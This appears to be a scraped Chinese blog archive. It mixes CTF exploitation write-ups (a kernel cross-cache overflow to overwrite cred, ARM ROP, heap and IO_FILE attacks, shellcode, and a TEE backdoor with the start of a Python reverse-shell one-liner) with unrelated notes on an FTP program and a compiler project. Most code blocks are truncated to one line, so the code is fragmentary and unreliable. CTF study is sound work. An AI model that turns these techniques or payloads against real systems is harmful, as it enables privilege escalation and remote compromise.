基础信息
为了完成工程实践项目写的测试程序
第一版的程序比较简单,只是完成了 “文件上传” 和 “文件下载” 的基础功能,之后更详细的功能都在此版本上进行实现
在下一版本会实现 “目录切换” 的功能,并完成多线程(如果有时间可以弄一个条件竞争的在这里,具体的思路就是 RWCTF2023 NonHeavyFTP,在全局变量中设置服务器根目录,然后通过条件竞争完成逃逸)
客户端
1 |
|
服务端
1 |
|
基础信息
为了完成工程实践项目写的测试程序
第一版的程序比较简单,只是完成了 “文件上传” 和 “文件下载” 的基础功能,之后更详细的功能都在此版本上进行实现
在下一版本会实现 “目录切换” 的功能,并完成多线程(如果有时间可以弄一个条件竞争的在这里,具体的思路就是 RWCTF2023 NonHeavyFTP,在全局变量中设置服务器根目录,然后通过条件竞争完成逃逸)
客户端
1 | #include<stdio.h> |
服务端
1 | #include<stdio.h> |
cache-of-castaways
1 | #!/bin/sh |
1 | #!/bin/sh |
漏洞分析
1 | void __fastcall castaway_ioctl(FILE *fd, int cmd, void *args) |
SLAB_ACCOUNT
,同时开启了 CONFIG_MEMCG_KMEM=y
1 | #ifdef CONFIG_MEMCG_KMEM |
内核分配 kmem_cache 的代码如下:
1 | void init_module() |
本题目的漏洞就在 castaway_edit
函数中:
1 | void __fastcall castaway_edit(unsigned __int64 index, size_t size, void *from) |
Cross-Cache Overflow
Cross-Cache Overflow 本质上是针对 buddy system 完成对 slub 攻击的利用手法
伙伴系统 buddy system 的机制如下:
Cross-Cache Overflow 就是为了实现跨 kmem_cache 溢出的利用手法:
kmem_cache
的页面在内存上是有可能相邻的kmem_cache
之间的堆溢出Cross-Cache Overflow 需要两个 page 相邻排版,此时又需要使用另一个技术:页级堆风水
页级堆风水
页级堆风水即以内存页为粒度的内存排布方式,而内核内存页的排布对我们来说不仅未知且信息量巨大,因此这种利用手法实际上是让我们手工构造一个新的已知的页级粒度内存页排布
伙伴系统采用一个双向链表数组 free_area 来管理各个空闲块,在分配 page 时有如下的逻辑:
通过伙伴系统的分配流程我们可以发现:互为伙伴块的两片内存块一定是连续的
从更高阶 order 拆分成的两份低阶 order 的连续内存页是物理连续的,由此我们可以:
vulnerable kmem_cache
上堆喷,让其取走这份内存页victim kmem_cache
上堆喷,让其取走这份内存页这样就可以保证 vulnerable kmem_cache
和 victim kmem_cache
就一定是连续的
如果想要完成上述操作,就需要使用 setsockopt 与 pgv 完成页级内存占位与堆风水
setsockopt + pgv
函数 setsockopt
用于任意类型,任意状态套接口的设置选项值,其函数原型如下:
1 | int setsockopt( int socket, int level, int option_name,const void *option_value, size_t ption_len); |
WSAGetLastError()
获取相应错误代码)利用步骤如下:
PF_PACKET
的 socket1 | socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); |
setsockopt
将 PACKET_VERSION
设为 TPACKET_V1
/ TPACKET_V2
()1 | setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)); |
setsockopt
提交一个 PACKET_TX_RING
1 | req.tp_block_size = size; |
此时便存在如下调用链:
1 | __sys_setsockopt() |
alloc_pg_vec
中会创建一个 pgv
结构体,用以分配 tp_block_nr
份 2^order 大小的内存页,其中 order
由 tp_block_size
决定1 | static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order) |
alloc_one_pg_vec_page
中会直接调用 __get_free_pages
向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求当我们耗尽 buddy system 中的 low order page 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 setsockopt
便相当于获取到了一块近乎物理连续的内存:
setsockopt
的流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面,产生“噪声”具体的操作就是利用 setsockopt
申请大量的 1 page 内存块,部分 setsockopt
用于耗尽 low order page,而剩下的就有几率成为连续内存
入侵思路
其实入侵的思路很简单:就是通过这6字节的溢出来覆盖 cred 从而实现提权
结构体 cred 所使用的 kmem_cache
是 cred_jar
cred
的大小为 192cred_jar
向 buddy system 单次请求 1 page 大小的内存块,足够分配21个 cred
cred
,从而耗尽 cred_jar
具体的利用思路如下:
cred
,这样便有几率获取到我们释放的单张内存页cred->uid
,完成提权我们先利用 setsockopt
申请大量的 1 page 内存块,参考函数如下:
1 | #define PACKET_VERSION 10 |
开辟命令空间的函数如下:
1 | void unshare_setup(void) |
使用系统调用 clone 来耗尽 cred_jar
的函数如下:
1 | __attribute__((naked)) long simple_clone(int flags, int (*fn)(void *)) |
等待 root 权限的函数如下:
1 | int waiting_for_root_fn(void *args) |
最后组合一下就可以完成 exp 了
完整 exp 如下:
1 | #define _GNU_SOURCE |
小结:
学到了 Cross-Cache Overflow 和页级堆风水
本代码是在以下项目的基础上进行完善:
此版本已经完成了所有功能:全局变量处理,结构体处理,指针处理
全局变量处理:
1 | char *newAliasEx() |
结构体处理:
1 | void struct_exp(struct node *T){ |
全局变量处理:
1 | if(h->op==NOT && h->result.type_array!=NULL){ |
结构体处理:
1 | string Get_S(const string& str){ |
全局变量处理:
1 | string Get_D(const string& str){ |
1 | void write_to_txt(const vector<string>& obj){ |
基础功能已经全部完成,剩下的就是找 BUG 和改 BUG
本代码是在以下项目的基础上进行完善:
此版本在上一个版本的基础上进行了大修改
定义了一个函数用于处理数组中的变量:
1 | void array_exp_tmp(struct node *T,struct node *T0){ |
1 | VAR exvar1(int) |
tempa
中在此部分中添加了生成伪代码的操作:
1 | if(h->op==NOT && h->result.type_array!=NULL){ |
此部分进行了大修改:
实现了对函数调用的翻译:(包括参数传入和参数使用)
1 | if (line[0] == "ARG"){ |
实现了对数组赋值的处理:(包括对数组中变量的特殊处理)
1 | if (line[0][0] == '#' && line[0][1] == '!'){ |
实现了条件跳转:
1 | if (line[0] == "IF") { |
实现了“加减乘除”4种基础运算:(其中不包括对带变量数组的处理)
1 | if (line.size() == 5){ |
本代码是在以下项目的基础上进行完善:
先更正一个错误:
1 | void assignop_exp_right(struct node *T,struct opn *opn1){ |
另外还改了一些 BUG 并进行了优化
1 | switch (h->op) |
参考了之前 “编译原理实验” 的代码,目前实现了对赋值语句和基础运算的翻译:
1 | #include <iostream> |
下个版本打算先实现函数调用
d3op
1 | qemu-system-aarch64 \ |
1 | #!/bin/sh |
说实话本题目有点懵:
1 | root@(none):/# id |
1 | root@(none):/# lsmod |
find . -regex ".*\.ok"
查找不到内核模块使用 sudo mount squashfs-root.img rootfs
挂载镜像,发现里面有 www 目录,猜测该程序可能是一个服务器,但不知道从何处入手
漏洞分析
本题目的漏洞在二进制文件 base64
中:
1 | root@(none):/# ubus call base64 encode '{"input":"aaaaaaaaaa"}' |
base64
其漏洞藏在函数 sub_4061AC
中:
1 | __int64 __fastcall sub_4061AC(__int64 a1, __int64 a2) |
至于程序怎么到达这个函数我不是很清楚,但按照如下 mygdbinit
进行操作就可以到达:
1 | target remote :1234 |
此时用于调试的 exp 如下:
1 | # -*- coding:utf-8 -*- |
然后在两个 shell 中分别执行如下命令,就可以开始调试了:
1 | python exp.py |
入侵思路
有一个无限栈溢出,于是思路就很简单:
本题目的难点在于:
可以在 IDA 中使用 ALT + B 来查找二进制代码:
最开始是想找 csu_gadget,在发现没有后就找了两个和它接近的 gadget:
1 | .text:0000000000407380 loc_407380 ; CODE XREF: sub_4072F4+D4↓j |
1 | .text:000000000043EAAC loc_43EAAC ; CODE XREF: sub_43EA60+A0↓j |
这里 gadget 缺少对第一个参数 X0 的控制,因此需要第三个 gadget:
1 | .text:000000000041F0C0 E0 03 16 2A MOV W0, W22 |
拼接这3个 gadget,写出组合函数:
1 | def ret2csu(func_addr, ret_addr ,arg0, arg1, arg2): |
反复调试校对数据,最终就可以写入最终 exp:
1 | # -*- coding:utf-8 -*- |
小结:
很久都没有尝试过 ARM 的 ROP 了,通过这个题目复习了一下
1 | GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland |
1 | driverlicense: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/Tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=9037e29de632f174a7c4a576165ac940f38a33c3, stripped |
漏洞分析
1 | v3 = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Please input driverlicense information:"); |
cin >>
有一层最基础的逻辑:1 | __int64 __fastcall add(__int64 a1) |
cin >>
已经创造了 chunkcin >>
没有创造 chunk,则 std::string::c_str
会获取到栈中的数据,从而造成栈溢出入侵思路
利用栈溢出就可以覆盖栈上的指针,从而导致任意地址读,于是我们就可以通过 GOT 表完成泄露(需要分多段进行泄露)
1 | name = "a"*3 |
比赛时卡在了泄露 canary 这一步,后来经过队友的提醒想起来了通过 libc 泄露 stack 的方法:
_environ
来泄露栈地址1 | environ = libc_base + libc.sym['_environ'] |
最后直接劫持返回地址就可以了
完整 exp:
1 | # -*- coding:utf-8 -*- |
1 | fast_emulator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=847bef575e01063e3c4c97226350955708b76d20, for GNU/Linux 3.2.0, not stripped |
漏洞分析
1 | __int64 __fastcall call_code(__int64 (*a1)(void)) |
1 | memset(hex, 0, sizeof(hex)); |
from_hex
限制的长度远超 mov 指令所需要的长度1 | sla("enter: ",str(0x64)) |
1 | ► 0x563401dc56b5 <write_code+453> call memcpy@plt <memcpy@plt> |
1 | ► 0x7f0c61bcf000 add rax, rbx |
1 | pwndbg> telescope 0x7f0c61bcf000 |
入侵思路
可以任意执行 shellcode,不过程序的溢出有限需要分段进行
最后还有一个问题就是如何写入 “/bin/sh”,仔细观察寄存器的值可以发现方法:
1 | RAX 0xffffffff90909090 |
push rbp + pop rdi
的组合获取 “/bin/sh”完整 exp 如下:
1 | # -*- coding:utf-8 -*- |
本代码是在以下项目的基础上进行完善:
上一个版本已经实现了结构体,此版本主要实现指针
1 | VarDec: ID {$$=mknode(ID,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);} |
1 | | STAR ID {$$=mknode(EXP_IDS,$2,NULL,NULL,yylineno);strcpy($$->type_id,$2);} |
&a
和 *a
)指针声明(全局)
1 | case IDS: |
指针声明(局部)
1 | if (T0->ptr[0]->kind == ID || T0->ptr[0]->kind == IDS){ |
指针的使用
上一个版本的赋值语句处理很乱,此版本进行了统一编排,使程序看上去更简洁了:
1 | void array_exp_left(struct node *T,struct opn *result){ |
另外还改了一些 BUG
这里只针对于指针做出了小幅修改:
1 | case IDS: |
1 | mydear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=82718c0b9f830007c1abfa77aae3858dd215e8ef, not stripped |
漏洞分析
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
1 | int win() |
入侵思路
完整 exp 如下:
1 | from pwn import * |
1 | GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27 |
1 | easy_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cd9a9a43d1011968219ce1d0acd1aa14deeaf80f, not stripped |
漏洞分析
1 | unsigned __int64 delete() |
入侵思路
利用 UAF 完成泄露:
1 | add(0x410,1,'a'*0x50) |
然后填满 tcache,打 fastbin double free 即可
完整 exp:
1 | # -*- coding:utf-8 -*- |
1 | GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31 |
1 | inuse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/Tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=f2e3e36e0bf161ac1c1b5c561aa2518134caa471, not stripped |
漏洞分析
1 | unsigned __int64 dele() |
libc 版本下载
本题目的 GLIBC 不常规,需要先下载其 debug 包:
在上面的网站中找到对应的版本:
选择 Builds 中对应的架构:
选择 dbg 文件,并进行下载:
解压后会出现1个文件夹,其中 /usr/lib/debug
就是我们需要的
1 | data.tar usr |
目录 debug
的结构如下:(这些动态链接库都是带有符号的)
1 | ➜ debug tree |
于是我们直接把 x86_64-linux-gnu
改名为 .debug
,并且在 GDB 命令中指定它为 debug-file-directory
:
1 | # -*- encoding: utf-8 -*- |
入侵思路
1 | unsigned __int64 edit() |
在高版本 Libc 的利用中,最常见的方法就是打 IO,因此我首先尝试 house of cat:
1 | # -*- encoding: utf-8 -*- |
不过这个题目没法打 IO,先看下调试信息:
1 | pwndbg> telescope 0x7f4db40c8780 |
_IO_FILE
结构体,而是使用保存在 elf 程序中的 _IO_FILE
结构体备份1 | pwndbg> p _IO_list_all |
1 | ─────────────────────────────────[ REGISTERS ]────────────────────────────────── |
_IO_list_all
已经成功被我们覆盖,但是程序并没有受到影响_IO_FILE
将会保存在 elf 文件中1 | pwndbg> search -t qword 0x7f4db40c85c0 |
_IO_FILE
,看看是否会产生变化1 | pwndbg> p _IO_list_all |
1 | *RAX 0x556b42802060 ◂— 0x7ff5ffffffff |
面对高版本 Libc 时,还有一种泄露思路:
_IO_2_1_stdout_
_IO_2_1_stdout_
本身,而不是指向它的指针在拥有了程序基地址后,其实我们可以考虑继续使用 house of cat 完成入侵,但此时劫持全局变量 freehk
和 mallochk
才是最优解
1 | .data:0000000000202018 public freehk |
stdout 任意读的条件如下:
_flag &~ _IO_NO_WRITES
即 _flag &~ 0x8
_flag & _IO_CURRENTLY_PUTTING
即 _flag | 0x800
_fileno
为1_IO_write_base
指向想要泄露的地方_IO_write_ptr
指向泄露结束的地址_IO_read_end
等于 _IO_write_base
或设置 _flag & _IO_IS_APPENDING
(即 _flag | 0x1000
)_IO_write_end
等于 _IO_write_ptr
(非必须)完整 exp 如下:
1 | # -*- encoding: utf-8 -*- |
1 | GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.\n |
1 | babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e6f75306cf2d7daa795a02761ead04102edfcc4c, with debug_info, not stripped |
漏洞分析
1 | void __cdecl babyheap::backdoor::haad830f8bf071aae(babyheap::HouseTbl *tbl, i32 i) |
i==0x74737572
时触发后门入侵思路
执行 dele(0x74737572)
有堆溢出,利用这个溢出可以完成泄露,并写 tcache->fd
1 | # -*- coding:utf-8 -*- |
先截两张图,用来表示我的疑惑:
内核信息如下:
1 | #!/bin/bash |
1 | #!/bin/sh |
比赛时被同名的 misc 题目给误导了,以为要打内核:
1 | diff --git a/core/include/tee/tee_svc.h b/core/include/tee/tee_svc.h |
实际上本题主要涉及到几个 python encoding 的问题
漏洞分析
1 | for line in lines[1:]: |
\d
通配符以及 int 函数会接受所有 unicode 数字作为输入在 secure_sig
中含有后门:
1 | .text:00000D34 6D E9 02 7E STRD.W R7, LR, [SP,#-8]! |
1 | int sub_D34() |
/tmp/rce
入侵思路
在二进制程序 secure_sig
中含有后门,可以执行 /tmp/rce
因此我们要先利用 handle_sign_message
往 /tmp/rce
中写入攻击脚本(最好是反弹 shell),不过这里有一个细节需要注意:
1 | with open(sig_file, "wb") as f: |
sign_message
1 | TEE_SECURE_SIG = "/usr/bin/secure_sig" |
subprocess.Popen
会打开并执行二进制程序 secure_sig
,在其中会对写入的数据进行加密函数 decode 默认使用 UTF-8 编码,如果字符串中包含大于 0x7f
的字符且不符合 UTF-8 的格式,会报错,从而不执行二进制程序 secure_sig 里面的文件覆盖操作
写入任意文件的脚本如下:
1 | s = '''python3 -c 'import socket,subprocess,os; |
1 | print(mess.encode("latin")) |
1 | print(mess.encode()) |
接下来就要在 secure_sig
中找寻漏洞,并执行后门函数,先看看传入的参数是什么:
1 | def check_signature(self, cl, body, sig): |
根据 check_signature
函数,我们可以写出类似的脚本进行调试:
1 | # -*- coding:utf-8 -*- |
1 | secure_sig1: TEEC_InitializeContext(NULL, x): 0xffff0008 |
由于没法调试,因此最后的栈溢出过程没法复现了,完整 exp 如下:
1 | #!/usr/bin python3 |
V8 的 misc 题目
预期解
1 | From a5d68c2f29d0f688e3a5145c35111c4e491e4e37 Mon Sep 17 00:00:00 2001 |
Wasm(WebAssembly) 是一种底层的汇编语言,能够在所有当代桌面浏览器及很多移动浏览器中以接近本地的速度运行
官方 exp 如下:
1 | const shellCode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d, 0x60, 0x66, 0x1, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x1, 0x5f, 0x99, 0xf, 0x5]); |
非预期解
本程序 ban 了 read,load 但还有一个 import 可以使用,所以直接:
1 | import("./flag") |
本题目的意思就是提供一些代码,需要快速识别该代码中是否有漏洞,并说明漏洞类型
核心思路就是利用 clang 现成的检查机制来进行判断,因此需要把程序输出的代码写入 1.c
文件中,然后执行 clang:
1 | #! /usr/bin/env python2 |